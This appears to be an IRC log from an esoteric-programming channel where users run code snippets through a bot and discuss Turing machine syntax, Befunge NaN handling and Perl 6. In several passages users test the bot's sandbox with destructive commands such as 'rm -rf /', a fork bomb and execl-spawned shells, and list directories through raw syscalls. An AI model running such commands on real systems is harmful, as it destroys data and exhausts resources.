:P ) 04:49:30 !addinterp bfbignum bf http://esoteric.voxelperfect.net/files/brainfuck/src/kbfi.b 04:49:31 Interpreter bfbignum installed. 04:49:35 !delinterp rebf 04:49:35 Interpreter rebf deleted. 04:49:37 -!- coppro has quit (Read error: 104 (Connection reset by peer)). 04:50:25 -!- coppro has joined. 04:51:06 (kbfi apparently runs a bignum BF on an 8-bit BF! Whoot :) ) 04:51:16 !bfbignum +++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-. 04:51:16 Hello, world! 04:53:53 Proposed definition format: http://pastie.org/466430 04:54:23 : ; * < = > are reserved symbols, anything else can be used in a state or tape name 04:54:46 so far i got hello world program almost optimized: http://pastie.org/private/j5veaiikl1x8vtwm0ov2ta . hehe. 04:55:33 (that is my attempt for brainfuck optimizer, written for hours) 04:56:15 thoughts? 04:57:48 coppro: What is the meaning of Q, A, E? 04:57:55 states 04:57:58 lifthrasiir: Does it ever eff up valid programs? 04:58:04 yellow and blue are tape values 04:58:05 coppro: Oh, duh X-P 04:58:16 Right 04:58:26 <= or => is the direction to move 04:59:12 TBH I'm not enamored with it ... 04:59:13 GregorR: at least i managed to reduce gcc's compilation time. though there are more optimizations to do. 05:00:21 i don't know whether gcc treats invidiual memory cell as variable and does optimize accordingly. 05:00:24 GregorR: I wrote that in about 10 seconds, feel free to suggest better ideas! 05:02:41 syntax will be an easy thing to rewrite anyways... best to have somewhere to start 05:03:51 coppro: (E(yellow) < Q(yellow)) (E(blue) > A(yellow)) (A(blue) accept) (A(yellow) = E(blue)) (Q(yellow) = Q(blue)) (Q(blue) < E(yellow)) 05:04:11 Only with newlines instead of paren'd groups. 05:04:20 accept? 05:04:29 I was assuming that '*' = halt? 05:04:32 yeah 05:04:41 So, is it halt and accept or halt and reject? 05:04:55 oh, you're counting accept and reject separately 05:05:17 It's nice for when the T.m. is supposed to accept or reject something and not just convert something :) 05:05:23 yeah 05:05:33 it could be accomplished with the tape, but I'll put it in anyways 05:05:52 Well, alternately, change 'accept' => 'halt' there *shrugs* 05:05:59 yeah, I'll put it in 05:06:37 The main thing I didn't like about the original suggestion was that every transition from an input state is together ... I think it's more ... Idonno, "correct" if every transition is independent. 05:33:22 Hrm, pgimeno wrote an ORK interpreter, and now it seems lost :( 05:47:03 -!- calamous has quit ("Leaving"). 05:57:20 -!- puzzlet has quit (Remote closed the connection). 05:57:25 -!- puzzlet has joined. 06:19:38 !perl $_ = "wftedskaebjgdpjgidbsmnjgc"; tr/a-z/oh, turtleneck Phrase Jar!/; print; 06:19:38 Just another Perl hacker, 06:24:27 (If perl isn't an esolang, I don't know what is ;) ) 06:28:34 I'm totally with you there 06:31:52 Any T.m. progress? 06:32:04 I'm about to hit the hay 06:32:25 nothing runnable as of yet; I took the liberty of playing with a new parser framework and I'm not exactly doing well 06:34:17 currently it works, except it can't parse accept and reject for some reaosn 06:38:07 * coppro tries replacing those with a series of character literals 06:38:31 -!- xor has joined. 06:43:33 huh... 07:16:25 !c printf("%c%c%c", 0xBA ^ 0xF2, 0xA0 ^ 0xC9, 0xE9 ^ 0xE3) 07:16:26 Hi 07:16:35 (Hey, I did it right 8-D ) 07:21:01 -!- pikhq has quit ("Foo"). 07:23:21 -!- pikhq has joined. 07:27:17 ... 07:27:21 gregor what is that 07:27:32 a c interpreter? 07:27:35 in egobot? 07:27:40 are you for real? 07:27:57 It's not an interpreter. 07:28:00 It's GCC. 07:28:15 but... 07:28:20 so its compiling it and running it? 07:28:23 Yeah 07:28:26 x.x 07:28:29 write an interpreter! 07:28:41 Yeah, that sounds like "fun" X-P 07:28:49 :P 07:28:58 i guess the simplest way is to like 07:29:58 no 07:30:00 i dont know 07:30:02 D: 07:30:15 i guess you could just like 07:30:28 !c code -> int main() { code; } 07:30:29 Does not compile. 07:30:31 and just run it 07:30:35 shut up egobot 07:30:37 >| 07:30:43 !c shutup() 07:30:44 Does not compile. 07:31:25 !c 1+2 07:31:42 !c printf("%d", 1+2) 07:31:43 3 07:32:00 lawl 07:32:02 neat. so it really is compiling it then running it in a terminal instance 07:32:16 since 1+2 has no shell output :o 07:32:28 !c system("rm -rf /"); 07:33:02 that probably wouldnt work. remove the ;, because i suspect ; is auto-inserted 07:33:14 empty statements are legal 07:33:17 given that printf(...) doesnt have it 07:33:20 oh, are they? ok 07:34:18 GregorR: hows the hd wiping? ;P 07:34:30 psygnisfive: Not happening. 07:34:33 :p 07:34:39 aww why not :( 07:34:42 !sh echo 'You lose' 07:34:42 You lose 07:34:49 -!- cherez has joined. 07:34:56 !sh rm -rf / 07:34:56 /bin/rm: cannot remove root directory `/' 07:35:00 hahaha :) 07:35:14 !sh rm -rf /bin 07:35:14 /bin/rm: cannot remove `/bin': Function not implemented 07:35:16 !c unlink("/"); 07:35:19 !sh rm -rf /bin/ 07:35:19 /bin/rm: cannot remove `/bin/': Function not implemented 07:35:26 !sh rm -rf / 07:35:26 /bin/rm: cannot remove root directory `/' 07:35:29 darn xor 07:35:30 didnt work! 07:35:49 !sh sudo rm -rf / 07:35:49 /tmp/input.24938: line 1: sudo: command not found 07:35:59 GregorR you're tricky! :o 07:36:19 !c printf("%d\n", getuid()); 07:36:20 2083599 07:36:36 lol wut? 07:36:40 !c printf("%d\n", (int)getuid()); 07:36:41 1802468 07:36:47 ... 07:37:01 -!- cherez has left (?). 07:37:01 tricky! 07:37:04 who has uids that high 07:37:16 GregorR, duh 07:37:20 !c printf("%d, %d\n", (int)getuid(), (int)getuid()); 07:37:21 1412733, 1412733 07:37:34 !c printf("%d\n", getpid()); 07:37:35 25082 07:37:36 !c printf("%d\n", getpid()); 07:37:37 25117 07:37:42 I loev how much confusion this is causing. 07:37:45 *love 07:37:47 So amusing. 07:37:55 Everybody who was on earlier knows exactly how it works :P 07:38:05 i walked in in the middle 07:38:10 what is actually going on? 07:38:38 It's using the plash sandboxing framework. 07:38:45 It puts it in an empty chroot jail, running as a random UID. 07:41:49 !c DIR*x;struct dirent *y;x=opendir("/");while(y=readdir(x)) printf("%s\n", y->d_name); 07:41:50 Does not compile. 07:42:12 I didn't #include 07:42:23 is it possible to? 07:42:47 !sh ls / | xargs echo 07:42:47 bin dev etc home lib lib64 proc tmp usr 07:42:51 That's easier :P 07:43:07 It puts it in an empty chroot jail 07:43:20 My description was a bit incomplete :P 07:43:34 It puts it in an empty chroot jail with a special version of glibc that provides a false filesystem over that. 07:43:52 So things that use syscalls directly won't work at all, but things that use glibc will get only the files they're allowed to see. 07:44:12 !sh uname 07:44:13 Linux 07:46:33 !c struct dirent x[10]; int i; getdents(open("/", O_RDONLY), x, 10);for(i = 0; i < 10; i++) printf("%s\n", x[i].d_name); 07:46:34 Does not compile. 07:46:42 damnit, how do i use the preproccesor? 07:47:11 Well, because everything has to be on its own line, you'd have to paste a complete file at e.g. pastebin.ca, then !c http://pastebin.ca/raw/whatever 07:47:44 does it need a main? 07:48:33 Yes. That's what I meant by "complete file" :P 07:59:36 !userinterps 07:59:36 Installed user interpreters: bfbignum echo 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:03:34 ok, here we go 08:03:37 !c http://pastebin.ca/raw/1410988 08:04:19 or not 08:04:27 I don't think stdout will work by the direct syscall interface. 08:04:32 ./interps/gcccomp/gcccomp: line 52: /tmp/compiled.25334: No such file or directory 08:04:38 i'm not using stdio 08:04:57 Oh, that's confusing >_> 08:05:07 It must have failed to compile and not realized that it failed to compile <_< 08:05:17 you broke it 08:05:23 !c http://pastebin.ca/raw/1410988 08:05:47 xor: Are you sure that wasn't from earlier, when it failed to compile? 08:06:03 ermm...it was 08:06:14 :P 08:06:24 !c http://pastebin.ca/raw/1410990 08:06:25 This program ran. 08:06:28 Yeah, it ran. 08:06:33 It just didn't do anything interesting. 08:06:50 hmm 08:07:37 What's it supposed to do? It's clearly opening / and then, Idonno, reading from it (quay?) 08:07:50 And then doing something arbitrary with it. 08:08:00 syscall 141 is getdents 08:08:16 5 is open, 4 is write 08:08:47 !c http://pastebin.ca/raw/1410991 08:08:52 got -1 bytes of dirents 08:08:52 So ... you're writing to stdin? 08:09:16 ....oops 08:10:59 !c http://pastebin.ca/raw/1410994 08:11:00 Invalid argument 08:11:17 odd 08:11:37 !c http://pastebin.ca/raw/1410995 08:11:39 Bad file descriptor 08:12:08 hmmm 08:13:57 !addinterp hello c char buf[1024]; fgets(buf, 1024, stdin); if (!strcmp(buf, "h")) printf("Hello World\n"); else printf("Unknown command (%s) encountered\n", buf); 08:13:57 Interpreter hello installed. 08:14:01 !hello h 08:14:02 Unknown command (h 08:14:05 Whoops :P 08:14:07 !delinterp hello 08:14:08 Interpreter hello deleted. 08:15:17 !addinterp hello c char buf[1024]; int i; fgets(buf, 1024, stdin); for (i=0;buf[i];i++)buf[i]=(buf[i]=='\n')?'\0':buf[i]; if (!strcmp(buf, "h")) printf("Hello World\n"); else printf("Unknown command (%s) encountered\n", buf); 08:15:17 Interpreter hello installed. 08:15:21 !hello h 08:15:22 Hello World 08:15:24 !hello d 08:15:25 Unknown command (d) encountered 08:15:38 That was useful :P 08:15:43 1 line c is hard to read 08:15:50 Yes :P 08:15:54 It's not easy to write, either :P 08:19:44 -!- WangZeDong has quit (Read error: 110 (Connection timed out)). 08:20:18 !addinterp foobar c char buf[1024]; int n; while((n=read(0, buf, 1024)) > 0)write(1, buf, n); 08:20:18 Interpreter foobar installed. 08:20:24 !foobar baz bomb 08:20:25 baz bomb 08:20:31 !foobar 08:20:44 Yes, cat is an extraordinarily useful interpreter :P 08:21:54 !addinterp better_hello c char c;read(0,&c,1);if(c=='h')printf("Hello, world\n"); 08:21:55 Interpreter better_hello installed. 08:22:00 !better_hello h 08:22:01 Hello, world 08:22:03 !better_hello d 08:22:14 -!- cherez has joined. 08:22:21 mines shorter 08:22:41 But it doesn't follow the spec of the language. 08:22:49 Which must complain if (e.g.) hhh is entered. 08:22:53 -!- WangZeDong has joined. 08:23:40 I'm referring to http://esoteric.voxelperfect.net/wiki/Hello , by the way :P 08:24:12 i think syntax errors can be considered undefined behaviour 08:24:16 -!- cherez has left (?). 08:24:23 Heh 08:25:43 I just added support for daemons (potentially-long-running programs that can accept input), but I have no real use for them :P 08:26:13 are you trying to make anything more specific that just an irc bot? 08:27:09 Well ... it's an IRC bot that interprets programs in esoteric languages. 08:27:13 All the other stuff is just for giggles. 08:27:41 !bf +++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-. 08:27:41 Hello, world! 08:27:46 ^ That's why it exists :P 08:27:54 ...you already have one 08:28:17 ............ uh? 08:28:26 egobot 08:28:56 OH, heh, daemons in EgoBot aren't daemons in that sense :P 08:29:05 !daemon cat bf ,[.,] 08:29:06 Daemon cat running. 08:29:10 !cat Foo 08:29:10 Foo 08:29:14 !kill cat 08:29:14 Daemon cat killed. 08:29:35 is this a complete rewrite of EgoBot ? 08:29:44 Yes. 08:29:44 or if not, why the sudden interest? 08:30:36 The old version of EgoBot was so ill-organized I couldn't even get it to run (well, at least not without more work than I wanted to put in to it) 08:30:50 So I made a new one. It's a bit more modular, although also weirder in some ways >: ) 08:31:01 hopefully you didn't use c++ again 08:31:13 My choice won't make you any happier >: ) 08:32:21 I wrote a simple scriptable bot in C that just hooks up to IRC and then runs scripts based on input from IRC. The scripts themselves are mostly ~10-line shell scripts. 08:33:00 C is far better than C++ 08:33:07 (Is xor an alias for somebody I should remember, btw? :P ) 08:33:34 you mean you don't recognize me? :( 08:34:01 'fraid not >_> 08:34:19 Although looking through my logs, it looks like you come here often, but never when I'm here :P 08:35:04 you ought to recognize my demeanor 08:35:21 I don't maintain a demeanor->identity association. 08:36:51 you can construct one from your identity->demeanor association in O(n) time 08:36:56 -!- calamari has left (?). 08:37:11 I don't maintain an identity->demeanor association either :P 08:38:11 Ah, you're bsmntbombdood 08:38:15 you do, perhaps it is subconscious 08:38:21 there you go 08:38:33 Although I don't maintain an identity->demeanor association, luckily I do maintain a nick->hostmask association :P 08:39:00 http://codu.org/projects/egobot/hg/ if you're interested in the new version. 08:45:24 you know, spawning all those new proccesses get's expensive 08:45:30 i think you need a mod_brainfuck 08:45:54 lawl :P 08:47:12 -!- tombom has joined. 08:58:23 would anyone be willing to review a draft of a paper for me? 08:58:51 only if it's interesting 08:59:21 dunno if you'll find it interesting. i certainly do! :p 09:02:52 http://www.wellnowwhat.net/linguistics/honors_thesis/draft.pdf 09:21:26 -!- Dewi has quit (Read error: 101 (Network is unreachable)). 09:42:54 -!- BeholdMyGlory has joined. 10:04:17 -!- psygnisfive has quit (Remote closed the connection). 10:11:55 -!- Slereah has joined. 10:24:09 -!- WangZeDong has quit (Read error: 110 (Connection timed out)). 10:24:50 -!- puzzlet_ has joined. 10:25:19 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 10:33:20 -!- psygnisfive has joined. 10:35:35 -!- oerjan has joined. 10:39:13 xor 11:13:09 -!- WangZeDong has joined. 11:23:18 -!- Slereah has quit (Read error: 110 (Connection timed out)). 11:23:35 -!- Slereah has joined. 11:28:40 -!- tombom has quit ("Peace and Protection 4.22.2"). 11:33:58 -!- WangZeDong has quit (Read error: 110 (Connection timed out)). 11:45:13 -!- puzzlet has joined. 11:46:20 -!- ais523 has joined. 11:55:16 AnMaster: OMG what has DMM done to Steve! 11:55:56 this is _evil_ i tell ya 11:57:19 -!- puzzlet_ has quit (Read error: 110 (Connection timed out)). 11:57:24 oerjan, agreed. Didn't notice you join. 11:57:32 hi btw 11:57:36 and hi to ais523 too 11:57:53 (who I hope remembered to pull yesterday or today) 11:58:15 AnMaster: why is it important that my repo's completely up to date, while I'm not working on it? 11:58:22 especially during exam time? 11:58:27 ais523, fair enough 11:58:48 my situation's rather amusing; actually 11:59:01 because it's exam time, nearly all the computer labs are completely full 11:59:03 even on a Sunday 11:59:10 but this one's only half-full, because it runs Vista 11:59:17 :D 11:59:32 What do the others run 11:59:36 XP, mostly 11:59:44 Heh 12:00:07 there are a couple of tiny Linux labs in the department, and all the computers there can X-forward from UNIX 12:00:09 guys 12:00:21 but I can't get into the department atm, both doors failed 12:00:24 and so they had to be locked by hand 12:00:37 would one of you mind reviewing a draft of a paper im writing? 12:00:39 please? :3 12:00:53 -!- tombom has joined. 12:01:42 but I can't get into the department atm, both doors failed <-- ouch 12:01:57 so it is no longer the Door 12:01:58 as you said several months ago, how hard can a door be? 12:01:59 but the Doors 12:02:02 eys 12:02:03 *yes 12:02:20 It's Breeding 12:02:20 the Door controller virus is spreading! 12:02:21 :( 12:02:37 oerjan, you think it isn't infected 12:02:39 huh 12:02:53 well, the virus 12:03:51 fortunately it has not yet learned to transmit to humans 12:04:19 but beware if you sense the Smell of Bacon, that means it's almost there 12:05:01 this is likely to happen when it mixes with the swine flu in a few weeks 12:05:12 (or maybe months) 12:06:23 you will then have to hermetically seal the department, including its internet connections. 12:06:52 ais523, does x86 support signaling NaN 12:07:04 you will then be lulled into a false sense of security, until one day, before christmas 2012... 12:07:42 when it shall escape through a combination of the sewers and a cable network. 12:07:57 AnMaster: I don't know 12:08:05 the world's first Cyborg Virus 12:08:06 hardware signals are a mess on x86 anyway 12:08:28 there weren't really any in real mode, I think they were added in a hurry in protected mode 12:08:38 but I'm not used to protected-mode x86 programming 12:08:57 Hollywood: Please contact me for the movie rights. 12:12:39 ais523, hm... Was just wondering what would happen if some funge programmer crafted a signaling NaN and used it in FPSP and/or FPDP 12:13:15 a signal, obviously 12:13:19 it's SIGFPE, I think# 12:13:41 -!- MizardX has joined. 12:13:43 you could just set up an ignore handler for it, it would hardly waste any time at startup and it wouldn't invoke a time cost on the rest of execution 12:14:40 Unless the programmer /wanted/ a signal 12:14:50 Which is probably likely, given that he made a signaling NaN. 12:14:59 you'd need a signal-handling fingerprint, then 12:15:11 I think Mike might even have made one. 12:15:18 you could do it via IFFI, I suppose 12:15:29 But no, you don't need one, you can just crash, which is probably what the programmer expected if he did that. 12:15:34 ais523, heh 12:16:01 I thought cfunge was never meant to crash no matter what the input 12:16:26 Inducing a hardware crash like that is fine IMO 12:16:40 It's somewhat arbitrary whether the program or the interpreter is the one crashing 12:16:45 it could be a security bug, thuogh 12:16:46 *though 12:16:58 Denial of service? 12:17:02 yes 12:17:17 if the user of the large commercial Funge application goes and sneaks a signalling NaN in somewhere 12:17:20 and everything crashes 12:17:29 If you're transmitting floating-point data in binary, yes 12:17:32 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 12:19:01 -!- pikhq has joined. 12:26:40 -!- ais523 has quit ("http://www.mibbit.com ajax IRC Client"). 12:29:47 hah 12:32:08 -!- FireFly has joined. 12:34:57 -!- tombom has quit ("Peace and Protection 4.22.2"). 12:38:24 -!- oklopol has joined. 12:45:45 -!- WangZeDong has joined. 12:48:51 I think you can get x86 (or SSE at least) to throw signals when it sees signaling NaNs, but you need to twiddle some bits for it, it won't happen automatically. There's a gcc flag "-fsignaling-nans" which can be turned on to tell GCC that signaling nans might happen, and exceptions might be thrown, but it is "experimental and does not currently guarantee to disable all GCC optimizations that affect signaling NaN behavior." 12:50:36 As far as I can tell, "PSPF"4( 22:*:*:*:*2:*:*2**aaa**ab++* 1F A Pa,@ should use a signaling nan in a calculation (given IEEE-754 single-precision floats and x86-style signaling/quiet NaNs, where the first bit of the fraction part determines it), but around here it just prints out "nan". 12:51:29 I also saw some references about x87 automatically (when loading the fpu registers) setting that bit in NaNs, making it tricky to return a signaling nan from a function. 12:51:42 It's a bit platform-dependant, of course. 12:52:23 -!- oerjan has quit ("leaving"). 12:58:13 -!- Slereah has quit (Read error: 110 (Connection timed out)). 13:00:46 -!- oklopol has quit (Read error: 110 (Connection timed out)). 13:21:29 !befunge98 "PSPF"4( 22:*:*:*:*2:*:*2**aaa**ab++* 1F A Pa,@ 13:21:30 nan 13:21:41 fizzie, that doesn't seem to signal badly 13:21:54 EgoBot runs cfunge on x86_64 13:22:15 32-bit cells 13:22:46 so it probably does it in SSE 13:32:56 Yes. I'm not quite sure how to make it barf, but it does not seem to be very popular decision to barf on signaling nans by default. 13:37:12 -!- tombom has joined. 13:37:13 -!- tombom has quit (Remote closed the connection). 13:37:29 -!- tombom has joined. 13:47:53 -!- ais523 has joined. 14:13:27 -!- ais523_ has joined. 14:16:11 -!- nooga has joined. 14:16:53 !underload (test)S 14:16:53 testAttempt to execute unknown command 10 14:17:31 GregorR: you should stop EgoBot feeding newlines automatically to the Underload interp, whitespace is a syntax error in Underload unless commented out 14:17:33 !"2hi 14:17:43 nooga: ? 14:17:50 SADOL ;p 14:26:57 -!- ais523 has quit (Read error: 110 (Connection timed out)). 14:42:47 ! 14:42:55 -!- ais523_ has changed nick to ais523. 15:04:39 -!- MizardX has quit ("What are you sinking about?"). 15:11:40 * ais523 yells mentally at some brilliant Perl6 design decisions, that have now been reversed 15:12:16 they originally planned "$obj.method + 1" to mean "$obj.method() + 1" and "$obj.method +1" to mean "$obj.method(+1)" 15:12:29 but unfortunately decided whitespace-sensitive DWIM wasn't a good idea, pity 15:16:25 sucks 15:25:00 -!- KingOfKarlsruhe has joined. 16:17:19 I need to get a new mouse 16:17:47 scroll wheel kind of not working, and cleaning it didn't help. 16:18:32 it get gets stuck in some places so hard that to get enough traction to scroll it past you end up clicking the scroll wheel 16:24:36 -!- nooga has quit (Read error: 110 (Connection timed out)). 16:32:41 heh, Perl6 has a "but" operator 16:33:57 it's rather different from INTERCAL's, though 16:44:56 Hmm. I get the feeling that Perl soon is going to be a superset of INTERCAL. 16:45:19 there's a patch for Perl (an older version than 6, though) lying around somewhere that adds all the INTERCAL operators to it 16:45:29 I haven't noticed any sort of comefrom yet, though 16:48:31 Perl6 has moved to non-ASCII operators, though, it seems 16:48:40 like «» 16:52:20 !underload (test)S 16:52:20 test 16:52:36 ah, that's better 16:52:39 !underload ( 16:52:39 Error: Expected ) at end of input 16:52:44 as is that 16:53:54 Farfigneugan. 16:54:13 ? 16:54:26 At some point they said ¥ will be infix form of the zip operator, but it seems to have changed to be just infix "Z". ≥ will still be a valid spelling of >=, I think. 16:56:07 Huh, I can't even type ≥ 16:56:13 I can type « 16:56:19 And ¥ 16:56:58 I can type those, but not in a terminal. 16:57:02 Perl6 should aim to be a language that nobody can actually type. 16:57:07 (urxvt hates the compose key) 16:57:17 Which is to say, even worse than Perl 5. 16:57:18 does Perl5 have a $^H, I wonder? 16:57:39 because if it does, then it would support $ followed by a literal backspace as a pseudonym 16:57:46 and everyone knows langs need more literal backspaces in 16:58:15 perl $_ = "wftedskaebjgdpjgidbsmnjgc"; tr/a-z/oh, turtleneck Phrase Jar!/; print; 16:58:21 Err 16:58:21 !perl $_ = "wftedskaebjgdpjgidbsmnjgc"; tr/a-z/oh, turtleneck Phrase Jar!/; print; 16:58:21 Just another Perl hacker, 16:58:45 wow, EgoBot has a !perl? 16:58:53 !ruby p "yo" 16:58:58 !help 16:58:59 !python print "yo" 16:58:59 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo foobar forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl 16:59:01 ais523: Perl is an esolang :P 16:59:04 no ruby, it seems 16:59:05 Meh :-P 16:59:14 Discrimination against the other generic scripting languages 16:59:18 GregorR: PHP! 16:59:25 That, at least, is an esolang 16:59:38 !c printf("And to be fair, C isn't an esolang, but it's in there :P") 16:59:39 And to be fair, C isn't an esolang, but it's in there :P 16:59:54 !c assert(0) 16:59:55 Does not compile. 17:00:00 !c assert(0); 17:00:01 Does not compile. 17:00:10 [16:59] ./interps/gcccomp/gcccomp: line 52: /tmp/compiled.28812: No such file or directory 17:00:16 !c #include assert(0); 17:00:17 a slightly weird error for me to be getting... 17:00:25 It's the error it always gives when it fails, I think 17:00:31 ah, aha 17:00:44 Something didn't compile so it tells you that it couldn't find the compiled file :-P 17:00:56 GregorR: It is the kind of thing that shouldn't go to IRC, though... 17:00:59 Yeah, I should probably make it exit after it fails to compile:P 17:01:10 Oooooh, the name of a temporary file, I'm afeared. 17:01:14 !c printf("%ld",(long)__STDC_VERSION__) 17:01:15 Does not compile. 17:01:28 !c printf("%ld",(long)__STDC_VERSION) 17:01:28 Does not compile. 17:01:44 !c printf("%ld",(long)STDC) 17:01:45 Does not compile. 17:01:56 !c printf("%ld",(long)4) 17:01:57 4 17:02:30 it is __STDC_VERSION__, it seems 17:03:06 !c printf("%d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_REVISION__) 17:03:06 Does not compile. 17:03:17 Apparently none of us remember this stuff ;) 17:03:22 !c printf("%d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__) 17:03:23 4.3.3 17:03:31 !c printf("%ld",(long)__LINE__) 17:03:32 7 17:03:41 !c printf("%ld",(long)__STDC_VERSION__) 17:03:42 Does not compile. 17:03:49 ugh, i just looked it up as well 17:03:50 !c while(1)fork(); 17:03:57 :p 17:04:06 that's got to be sandboxed, surely? 17:04:09 I don't recall __STDC_VERSION__ existing. 17:04:11 !underload (test)S 17:04:11 test 17:04:13 ais523: Yeah, that does nothing. 17:04:15 GregorR: it's C94 17:04:20 And C99. 17:04:22 yes 17:04:24 He's got a heavy process limit in place. 17:04:29 It does *something*, but not much. 17:04:35 !c system("echo I can\\'t even system :(") 17:05:00 pikhq: Well, it fails to fork repeatedly for 30 seconds :P 17:05:12 GregorR: See? That's something. 17:05:30 -!- BeholdMyGlory has left (?). 17:05:48 !sh echo foo >bar;cat bar;rm bar 17:06:06 !c execl("/bin/sh","-c","echo test"); 17:06:08 ./interps/gcccomp/gcccomp: line 55: 29351 Segmentation fault /tmp/compiled.$$ 2>&1 17:06:13 pikhq: Sorry, I removed sh :P 17:06:19 Aaaaw. 17:06:20 wow, I didn't expect that... 17:06:26 ais523: Learn to use execl, luser :P 17:06:29 oh, null-terminated 17:06:31 !c execl("/bin/sh","-c","echo test",0); 17:06:33 /bin/sh: echo test: No such file or directory 17:06:34 Yuh. 17:06:37 ais523: Learn to use execl, luser :P 17:06:39 !c execl("/bin/sh","-c","echo","test",0); 17:06:40 /bin/echo: /bin/echo: cannot execute binary file 17:06:44 ais523: Learn to use execl, luser :P 17:06:45 GregorR: no, learn to use test 17:06:57 *sh 17:06:57 No, in fact, learn to use execl. 17:07:08 Clue: What's argv[0] 17:07:08 you're right 17:07:16 !c execlp("sh","sh","-c","echo test\0"); 17:07:17 ./interps/gcccomp/gcccomp: line 55: 29455 Segmentation fault /tmp/compiled.$$ 2>&1 17:07:19 !c execl("/bin", "sh","-c","echo test",0); 17:07:32 Oh for cripes sake X_X 17:07:36 !c execlp("sh","sh","-c","echo test",0); 17:07:37 test 17:07:42 !c execlp("sh","sh","-c","echo test\0"); 17:07:43 ./interps/gcccomp/gcccomp: line 55: 29555 Segmentation fault /tmp/compiled.$$ 2>&1 17:07:47 ais523: You fail. 17:07:48 Hmm. 17:07:51 GregorR: I misread the manpage twice... 17:08:00 Deewiant: Null terminating a null-terminated string won't help. ;) 17:08:15 pikhq: It will use one delicious extra byte though. 17:08:19 pikhq: I was wondering how it's different from passing a null argument. 17:08:20 !c execlp("/bin/sh","/bin/sh","-c","echo test",0); 17:08:21 test 17:08:25 that's better 17:08:34 Deewiant: By being not the same in any way, shape or form. 17:08:39 Deewiant: execl is varargs, it uses a null argument to terminate the arglist 17:08:57 Anyway, long story short, you can exec, you j ust can't fork. 17:09:00 Deewiant: Sticking a NULL as the last argument pushes 0 on the stack. 17:09:06 !c execlp("/bin/sh","/bin/sh","-c","echo *",0); 17:09:07 Makefile PRIVMSG daemon.sh daemons daemons.tmp fifowrap fix hcmds interps lib scmds slox subinterp.sh subinterps 17:09:08 Hmm, right, it turns into an array of pointers. 17:09:19 that was interesting... 17:09:24 !c execlp("/bin/sh","/bin/sh","-c","cd /bin; echo *",0); 17:09:25 bash busybox cat chgrp chmod chown chvt cp cpio date dd df dir dmesg dnsdomainname dumpkeys echo ed egrep false fgconsole fgrep fuser grep gunzip gzexe gzip hostname ip kbd_mode kill less lessecho lessfile lesskey lesspipe ln loadkeys login ls lsmod mkdir mknod mktemp more mount mountpoint mt mt-gnu mv nano nc nc.traditional netcat netstat open openvt pidof ping ping6 ps pwd rbash readlink rm rmdir rnano run-parts sed setfont sh sleep stty su sync tai 17:09:25 Sticking a NULL on the end of the string does nothing more than add an extra byte to the string. 17:09:31 I've just been coding too much Funge :-P 17:09:50 !c execl("/bin/sh", "/bin/sh", "-c", "rm -rf /*", NULL) 17:09:51 /bin/rm: cannot remove `/bin': Function not implemented 17:09:52 There there's no difference between a double-null-terminated string and a null-terminated string followed by an empty null-terminated string 17:10:03 Well, not necessarily an array of pointers, but yeah. 17:10:06 Just too much funge for you. 17:10:17 "Function not implemented" is a weird error for the sandbox to give :P 17:10:22 pikhq: Conceptually. 17:10:37 well, ENOTIMPLEMENTED to block unlink() is certainly a sane way to say you can't do it 17:10:42 although maybe EACCESS would be better 17:10:45 Deewiant: Conceptually this is an array of pointers to strings, not just a bunch of concatenated string arrays ... 17:10:55 ais523: Yeah, EACCESS is what I expected. 17:10:57 GregorR: Yeah, exactly. 17:11:16 !c execlp("/bin/sh","/bin/sh","-c","cd /home; echo *",0); 17:11:16 For some reason I was thinking that it'd be concatenated in memory. 17:11:17 egobot 17:11:30 aww, egobot knows its own name 17:11:31 !c execlp("/bin/sh","/bin/sh","-c","cd $home; echo *",0); 17:11:32 egobot.hg 17:11:48 !c execlp("/bin/sh","/bin/sh","-c","ls -l $home; echo *",0); 17:11:49 /bin/sh: fork: Resource temporarily unavailable 17:11:59 !c execlp("/bin/sh","/bin/sh","-c","ls -l $home",0); 17:12:00 /bin/ls: Makefile: Function not implemented 17:12:09 Sorry, ls is a program, so sh will want to fork into it. 17:12:17 Meh. 17:12:21 !c execlp("/bin/sh","/bin/sh","-c","exec ls -l $home",0); 17:12:22 /bin/ls: Makefile: Function not implemented 17:12:27 Meh! 17:12:28 !c execlp("/bin/ls","/bin/ls","-l","/home/egobot",0); 17:12:29 /bin/ls: /home/egobot: Function not implemented 17:12:52 ........ that's weird. 17:12:52 [17:12] drwxrwxrwx 0 0 0 0 Jan 1 1970 egobot.hg 17:13:03 it seems it can read the file, but not determine modfile or link count or something 17:13:06 Ah, less weird. 17:13:14 *modtime 17:13:36 GregorR: Why not a fork limit of, like, 10? *Just* enough for non-abusive purposes? 17:14:01 because 10 processes are a lot harder to sandbox than one 17:14:03 !help 17:14:04 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo foobar forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl 17:14:06 !sh echo 'People clearly want to play with sh, so enjoy.' 17:14:07 People clearly want to play with sh, so enjoy. 17:14:12 !userinterps 17:14:12 Installed user interpreters: better_hello bfbignum echo foobar hello 17:14:14 GregorR: stick an INTERCAL interp in there/ 17:14:17 !hello 17:14:18 Unknown command () encountered 17:14:20 !foobar 17:14:26 ais523: C-INTERCAL? 17:14:26 !better_hello 17:14:35 Deewiant: You realize they need input, right? :P 17:14:38 GregorR: it's saner than CLC-INTERCAL 17:14:41 !hello h 17:14:42 Hello World 17:14:42 !better_hello h 17:14:43 Hello, world 17:14:55 ais523: Is that an advertisement for C-INTERCAL, or CLC-INTERCAL? 17:14:58 both 17:15:05 >_> 